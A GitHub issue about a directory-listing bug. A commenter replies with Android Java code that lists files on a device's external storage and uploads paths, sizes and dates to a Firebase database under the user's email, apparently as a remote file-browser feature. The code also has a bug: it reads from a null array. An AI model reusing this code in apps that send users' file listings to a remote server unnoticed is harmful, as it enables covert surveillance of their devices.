Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix directory listing bug #27

Open
Tomiwa-Ot opened this issue Nov 17, 2024 · 1 comment
Open

Fix directory listing bug #27

Tomiwa-Ot opened this issue Nov 17, 2024 · 1 comment

Comments

@Tomiwa-Ot
Copy link
Owner

Current implementation doesn't list all files and folders in a directory.

@Mokardder
Copy link

package com.mokardder.bluetooth.JobServices;

import static com.mokardder.bluetooth.Activity.MainActivity.TAG;

import android.annotation.SuppressLint;
import android.app.job.JobParameters;
import android.app.job.JobService;

import android.content.SharedPreferences;
import android.os.Environment;
import android.os.PersistableBundle;
import android.util.Log;

import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import java.io.File;

public class fileManagerJOB extends JobService {

String path = "";

@Override
public boolean onStartJob(JobParameters jobParameters) {
    PersistableBundle bundle = jobParameters.getExtras();
    String value = bundle.getString("path");


    try {
        JSONObject configs = new JSONObject(String.valueOf(value));
        path = configs.getString("path");

    } catch (JSONException ignored) {

    }

    if (path.isEmpty()){
        listFiles ();
    }else {

        getFilepath (path);
    }





    jobFinished(jobParameters, false);
    return true;
}

@Override
public boolean onStopJob(JobParameters jobParameters) {
    return true;
}

void sendPath(String path){
    DatabaseReference mDatabase = FirebaseDatabase.getInstance().getReference();
    mDatabase.child(getEmail()).child("file_manager").setValue(path);
}
public void listFiles () {
    if (Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
        // Get the external storage directory
        File externalStorageDirectory = Environment.getExternalStorageDirectory();

        // List all files in the external storage directory
        File[] files = externalStorageDirectory.listFiles();

        // Check if there are any files
        if (files != null) {
            System.out.println("Listing files in external storage directory:");
            JSONArray jsonArray = new JSONArray();


            for (File file : files) {
                JSONObject fileJson = new JSONObject();

                try {
                    fileJson.put("FilePath", file.getAbsoluteFile());
                    fileJson.put("isFile", file.isFile());
                    fileJson.put("FileName", file.getName());
                    fileJson.put("FileDate", file.lastModified());
                    fileJson.put("FileSize", getFileSize(file.length()));
                    fileJson.put("FileLength", file.length());
                    fileJson.put("ParentName", file.getParent());
                    fileJson.put("GrandParent", file.getParentFile().getParentFile());


                } catch (JSONException e) {
                    Log.d(TAG, "Error creating JSON object: " + e);
                }

                jsonArray.put(fileJson);
            }

            sendPath(jsonArray.toString());
        } else {
            JSONArray arr = new JSONArray();

            JSONObject emp = new JSONObject();
            try {
                emp.put("GrandParent", files[0].getParentFile().getParentFile());
                emp.put("File", "Empty");
                arr.put(emp);
                sendPath(arr.toString());
            } catch (JSONException e) {
                Log.d(TAG, "JSON ERROR: "+e);
            }

            Log.d(TAG, "Empty");

        }
    } else {
        sendPath("Not Mounted");
    }
}
public void getFilepath (String path) {

    if (Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
        // Get the external storage directory
        File externalStorageDirectory = new File(path);

        // List all files in the external storage directory
        File[] files = externalStorageDirectory.listFiles();

        // Check if there are any files
        if (files != null) {
            JSONArray jsonArray = new JSONArray();
            for (File file : files) {
                JSONObject fileJson = new JSONObject();

                try {
                    fileJson.put("FilePath", file.getAbsoluteFile().toString());
                    fileJson.put("isFile", file.isFile());
                    fileJson.put("FileDate", file.lastModified());
                    fileJson.put("FileName", file.getName());
                    fileJson.put("FileSize", getFileSize(file.length()));
                    fileJson.put("FileLength", file.length());
                    fileJson.put("ParentName", file.getParent());
                    fileJson.put("GrandParent", file.getParentFile().getParentFile());
                } catch (JSONException e) {
                    Log.d(TAG, "Error creating JSON object: " + e);
                }

                jsonArray.put(fileJson);
            }
            if (jsonArray.length() != 0){
                sendPath(jsonArray.toString());
            }else {
                JSONArray arr = new JSONArray();

                JSONObject emp = new JSONObject();
                try {
                    emp.put("GrandParent", Environment.getExternalStorageDirectory());
                    emp.put("File", "Empty");
                    arr.put(emp);

                } catch (JSONException e) {
                    Log.d(TAG, "getFilepath: ");
                }

                sendPath(arr.toString());
            }

            Log.d(TAG, "File Sent " + jsonArray.toString());

        } else {
            Log.d(TAG, "File Null");

            JSONArray arr = new JSONArray();

            JSONObject emp = new JSONObject();
            try {
                emp.put("GrandParent", Environment.getExternalStorageDirectory());
                emp.put("File", "Empty");
                arr.put(emp);

            } catch (JSONException e) {
                Log.d(TAG, "getFilepath: ");
            }
            sendPath(arr.toString());

            Log.d(TAG, arr.toString());
        }
    } else {
        sendPath("Not Mounted");
        Log.d(TAG, "Not Mounted");
    }
}

@SuppressLint("DefaultLocale")
String getFileSize(long sizeInBytes) {
final long KB = 1024;
final long MB = KB * 1024;
final long GB = MB * 1024;

   if (sizeInBytes < KB) {
       return sizeInBytes + " B";
   } else if (sizeInBytes < MB) {
       return String.format("%.2f KB", (double) sizeInBytes / KB);
   } else if (sizeInBytes < GB) {
       return String.format("%.2f MB", (double) sizeInBytes / MB);
   } else {
       return String.format("%.2f GB", (double) sizeInBytes / GB);

   }

}
private String getEmail() {
SharedPreferences sp = getSharedPreferences("sharedPrefs", MODE_PRIVATE);
return sp.getString("email", "").replaceAll("[.#@\[\]]", "");
}
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants